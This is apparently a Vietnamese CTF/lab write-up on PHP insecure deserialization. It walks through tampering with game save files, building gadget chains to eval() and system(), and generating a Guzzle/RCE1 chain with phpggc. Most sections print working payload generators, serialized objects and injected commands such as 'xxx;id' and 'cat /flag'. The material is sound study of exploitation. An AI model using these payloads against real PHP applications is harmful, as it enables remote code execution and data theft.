---
# System prepended metadata

title: "php Deserialization\U0001F468‍\U0001F692"

---

# php Deserialization👨‍🚒
**kiểm soát thuộc tính**🫢
**chúng ta có thể**
1. thay đổi thuộc tính
2. thay đổi class
3. lợi dụng magic method để rce - map 4,5
## Game
### map2
- Chức năng save sẽ cho ta down 1 file về 
![image](https://hackmd.io/_uploads/H17HbIKaA.png)
- thay đổi thông số trước khi load lên
![image](https://hackmd.io/_uploads/BJV2-Lta0.png)
![image](https://hackmd.io/_uploads/ryt1zUtpA.png)
--> đánh đc ròi 
### map3
- đổi sát thương về 1 --> auto win 
![image](https://hackmd.io/_uploads/r1rbQUFa0.png)
- trong data còn 1 đốit tượng nữa 
![image](https://hackmd.io/_uploads/SJShmLtTC.png)
- đổi tên đối tượng **chú ý độ dài**
![image](https://hackmd.io/_uploads/SyMZEIFpR.png)
### map4 
**ý tưởng:** nhờ vào magic method để tìm được secret
- ta thấy trong đoạn code này có chứa hàm `eval` . 1 hàm có khả năng thực thi được các lệnh trong php 

```php=
class Calculator {
    public $expression;
    public function __construct($expr) {
        $this->expression = $expr;
    }

    public function run() {
        $result = eval($this->expression);
        return $result;
    }
}
```
- vậy làm sao để đưa được code php vào đó ???
cũng như bài trên . Chúng ta thay đổi đối tượng trong file sav
- tuy nhiên kết cấu của class này khác so với kết cấu của trainer . Điều này đồng nghĩa với việc ta phải thay đổi rất nhiều trong file sav (thay vì chỉ tên như map2)
--> Vậy việc viết lại là khá khó khăn 
- điều này dẫn đến việc ta phải nhờ php in hộ ra như dòng code dưới đây 

```php=
<?php 
#  step1 định nghĩa lại class
class Calculate {
    public $expression;
    public function _contruct($expr){
        $this->expression = $expr;
    }
    
    public function run(){
        $result = eval($this->expression);
        return $result;
    }  
}
#step2 tạo ra một đối tượng có thuộc tính là code php
$calc = new Calculate("phpinfo();");
# step3 nhờ php tạo ra PAYLOAD tấn công 
echo serialize($calc);
?>
```
**lưu ý** : để đoạn này vào thư mục src
![image](https://hackmd.io/_uploads/BJGD6oYTA.png)
--> vậy đã tạo ra 1 class có method là expression và nó có giá trị là php...
--> sau khi có payload rồi ta upload lên và thực thi php 🤑
![image](https://hackmd.io/_uploads/By5Pg3Fp0.png)


### map5
![image](https://hackmd.io/_uploads/rJ8VG3KaC.png)
hừm :> 
**đặc tính php** : luôn gọi hàm `destruct()` khi kết thúc chương trình 
dựa vào điều đó ta sẽ tìm đến hàm destruc xem có khai thác được gì không

```php=
public function __destruct() {
    $this->conn->close();
}
```
đi tiếp đến close để xem 
```php=
public function close() {
    system("rm " . $this->filepath);
}
```
**ý tưởng** : command injection
--> cũng nhờ vào tính năng save game để thay đổi thuộc tính
- $this->filepath cũng có thể coi là 1 untrusted data 
- làm sao để nối dài chuỗi dẫn đến command injection
 

![image](https://hackmd.io/_uploads/S11lU3KTR.png)
```php=
<?php
class Database{
    public $conn;
    public function __construct($conn){
        $this->conn = $conn;
    }
}
class Logger {
    public $filePath;
    public function __construct(){
        $this->filePath = "xxx;id"; // RCE
    }
}
$conn = new Logger(); # tạo ra object 
$db = new Database($conn);
echo serialize($db);
?>
```
![image](https://hackmd.io/_uploads/ryLgONqp0.png)
![image](https://hackmd.io/_uploads/S1XIO4qTC.png)

![image](https://hackmd.io/_uploads/rkWl9pYT0.png)

- khi destructed thì php cũng sẽ xóa đi database ; vì ta đặt class là database nên chắc chắn php sẽ chạy vào  
- php sẽ xóa database thật sau đó xóa database của ta 


![image](https://hackmd.io/_uploads/H1wnYaFaR.png)
vậy `$this->conn` chính là `Logger` là 1  class
-> sẽ trỏ đến method close() 
-> đi vào method `close` như ta đã chỉnh thì sẽ gắn giá trị của `$filepath` là `xxx;id` --> COMMAND INJECTION 🌭
![image](https://hackmd.io/_uploads/rkveF6Y6R.png)

## Workshop level 1 
**ý tưởng**: lợi dụng hành vi của php kết hợp với chức năng unserialize (kiểm soát được đối tượng) để rce 
**đọc code**
```hp=
  public function __toString()  
    {
        return "<td>{$this->name}</td><td>{$this->age}</td><td>{$this->get_point()}</td>";
    }
```
ta thấy hàm string trên của class student **nghĩa là** nó đối xứ với class như 1 string 
    

```php=
echo <<<EOF
<tr>
<th scope="row">{$idx}</th>{$student}  
</tr>
EOF;
```
mỗi student gắn với 1 index (0 -> ....)
class router có hàm system 
```php=
<?php
class Router
{
    public $host;

    public function __construct($host)
    {
        $this->host = $host;
    }

    public function __toString()
    {
        return system("ping " . $this->host);
    }
}
```
vậy nhờ vào chức năng của serialize để có thể gọi đến class Router -> từ đó kiểm soát được thuộc tính host và nối dài chuỗi trong hàm system -> RCE 
**kiểm soát thuộc tính**🤯
sau đây là payload để RCE 
```php=
<?php
 class Router
 {
	 public $host;
 
	 public function __construct($host) // kiểm soát host
	 {
		 $this->host = $host;
	 }
 
	 public function __toString()
	 {
		 return system("ping " . $this->host); // nối dài được òi 
	 }
 }
 $conn = new Router(" xxx;id;");
 echo serialize($conn);
?>
```
dùng xampp để chạy localhost   
![image](https://hackmd.io/_uploads/HJjwcsk0R.png)
**khi thay đổi file sav phải chú ý đúng cú pháp của chương trình**
***ở đây cần để í idex***
```sav=
0|O:6:"Router":1:{s:4:"host";s:8:" xxx;id;";}|
```
upload lại và rce 
![image](https://hackmd.io/_uploads/HyU1oj1AA.png)
## work shop 2 
    

```php=
foreach (glob("libs/*.php") as $filename) {
    // Không include file router.php
    if ($filename !== "libs/router.php")
        include($filename);
}

```
-->loại bỏ không cho upload class router 

![image](https://hackmd.io/_uploads/H1A5XveAC.png)

- tìm thêm 
![image](https://hackmd.io/_uploads/rkFLNve0R.png)

🤜 Router không thể chọn vậy chỉ có student 

**trong hàm student ta có**
```php=
    public function __toString()
    {
        return "<td>{$this->name}</td><td>{$this->age}</td><td>{$this->get_point()}</td>";
    }

```
-> nó gọi đến cả thuộc tính và method
**trong phần này ta sẽ lợi dụng method get_point()**

- giờ phải đi tìm tiếp 
![image](https://hackmd.io/_uploads/H1OuudMR0.png)
- không tìm thấy hướng mới chuyển sang phương thức khác trong Student 
```php!

    public function get_point()
    {
        if (isset($this->exam))
            return $this->exam->get_result();  
        return "N/A";
    }
```
-> tìm hàm `get_result()`
-> thấy trong file ulis 
```php=
class Calculator
{
    public $expression;
    public function __construct($expr)
    {
        $this->expression = $expr;
    }

    public function get_result()
    {
        $result = eval($this->expression);
        return $result;
    }
}

```
-> có `eval()` . Vậy tìm cách lợi dụng nó để exec php 
**payload**👇
```php=
<?php

class Student
{
    public $name;
    public $age;
    public $exam;

    public function __construct($name, $age, $exam)
    {
        $this->name = $name;
        $this->age = $age;
        $this->exam= $exam;
    }

    public function __toString()
    {
        return "<td>{$this->name}</td><td>{$this->age}</td><td>{$this->get_point()}</td>";
    }

    public function join($exam)
    {
        $this->exam = $exam;
    }

    public function test()
    {
        $this->exam->test();
    }

    public function get_point()
    {
        if (isset($this->exam))
            return $this->exam->get_result();
        return "N/A";
    }
}

class Calculator
{
    public $expression;

    public function __construct($expr)
    {
        $this->expression = $expr;
    }

    public function get_result()
    {
        // Sử dụng eval() có thể nguy hiểm, hãy chắc chắn rằng biểu thức là an toàn
        $result = eval("return " . $this->expression . ";");
        return $result;
    }
}

// Ví dụ sử dụng
$con = new Calculator("phpinfo();");
$payload = new Student("Tung", 12, $con);
// $payload->join($con);
echo serialize($payload);
?>

```

**result** 
```php!
0|O:7:"Student":3:{s:4:"name";s:4:"Tung";s:3:"age";i:12;s:4:"exam";O:10:"Calculator":1:{s:10:"expression";s:10:"phpinfo();";}}

```
**lưu ý**: phần cấu tạo của file .sav 

**giải thích**: mấu chốt là chuyền php vào hàm`eval()` thông qua biến `$expression`


```php=
// như trên 
$code = 'echo file_get_contents("/flag");';
 
// Ví dụ sử dụng
$con = new Calculator($code);
$payload = new Student("Tung", 12, $con);
// $payload->join($con);
echo serialize($payload);
```


```ter!
0|O:7:"Student":3:{s:4:"name";s:4:"Tung";s:3:"age";i:12;s:4:"exam";O:10:"Calculator":1:{s:10:"expression";s:32:"echo file_get_contents("/flag");";}}
```
**FLAG**🌞
![image](https://hackmd.io/_uploads/r1lh9uzCC.png)


## Workshop 3
Ở level này không cho người dùng giữ file sav nữa . 
**vậy phải lừa server ở chế độ upload lên**
```php=
        case 'load':
            $data = file_get_contents("/usr/save_files/" . session_id());
            $students_data = explode("|", $data);
            $students = array();
            for ($idx = 0; $idx < count($students_data); $idx = $idx + 2) {
                $key = $students_data[$idx];
                $value = $students_data[$idx + 1];
                // Xử lý khi unserialize bị lỗi
                // Reference: https://stackoverflow.com/questions/12684871/how-to-catch-unserialize-exception
                $value = unserialize($value);
                $students[$key] = $value; // biến student gắn bắng value 
                $_SESSION["students"] = $students;
            }
```
ta thấy ở chế độ load lên server dùng `explode()` để cắt ra từng giá trị của `$value` sau đó `unserialize($value)` 
**ý tưởng :** làm thế nào để kiểm soát được `$value`. Nếu kiểm soát được $value thì sẽ tạo được object có thuộc tính là payload tấn công của ta 

```php=
        case 'save':
            // Lặp qua từng student và lưu xuống theo dạng KEY1|VALUE1|KEY2|VALUE2 ...
            $message = "";
            foreach ($_SESSION["students"] as $key => $student)
                $message = $message . $key . "|" . serialize($student) . "|";
            // Tải về thành file students.sav
            // Reference: https://stackoverflow.com/questions/13279801/how-can-i-download-a-string-to-the-browser-using-php-not-a-text-file
            file_put_contents("/usr/save_files/" . session_id(), $message);
            echo "Saved";
            echo '<meta http-equiv="refresh" content="1;url='. $_SERVER['PHP_SELF']. '">';
            die();
            break;
```
ta thấy ở chế độ save các student được lưu dưới dạng KEY|VALUE|KEY|VALUE
mà khồng hề có lớp fillter nào đối với kí tự `|` -> vậy lợi dùng nó để tạo ra VALUE 

 ![image](https://hackmd.io/_uploads/r15Kdum0R.png)

-> vậy ta đã có
key = xxx
value = 1 chuỗi đã serialize và có chưa payload 
-> khi thực hiện load lên server sẽ serialize đoạn chuỗi ta vừa gừi và PWN --> đã tạo ra 1 object có chưa payload 
![image](https://hackmd.io/_uploads/HJewn_QR0.png)
## Workshop 4 

Trong bài này ta không include các thư mục nên các class đã vô hiệu hóa 
**thay vào đó ta phải lợi dụng các hàm trong thư viện vendor**
-> có công cụ để tấn công serialize cho nhờ vào việc lợi dụng các thư viện [ở đây](https://github.com/ambionics/phpggc)
tải về nhờ dùng terminal của docker và vào phpggc để tìm 
```terminal=
root@f5385822372f:/var/www/html/phpggc# ./phpggc -l
```
ta xem trong phần docker để tìm thư viện có thể lợi dụng 
![image](https://hackmd.io/_uploads/r1K0ZhX00.png)

![image](https://hackmd.io/_uploads/HJGdZnmAA.png)

```terminal=
root@f5385822372f:/var/www/html/phpggc# ./phpggc Guzzle/RCE1 system 'cat /flag'  > aa.sav
```
![image](https://hackmd.io/_uploads/H1DBz370C.png)

***tool này sẽ giúp ta tạo ra payload tấn công***
**lưu ý :** không nên sao chép payload sẽ bị rơi kí tự null của php mà hãy ghi trực tiếp vào file `.sav` . Sau đó sửa theo **đúng cấu trúc** của chương trình  

![image](https://hackmd.io/_uploads/B1KcG3XRR.png)


**các thuộc tính riêng của đối tượng sẽ nằm trong NULL**

![image](https://hackmd.io/_uploads/H17zQ27RR.png)
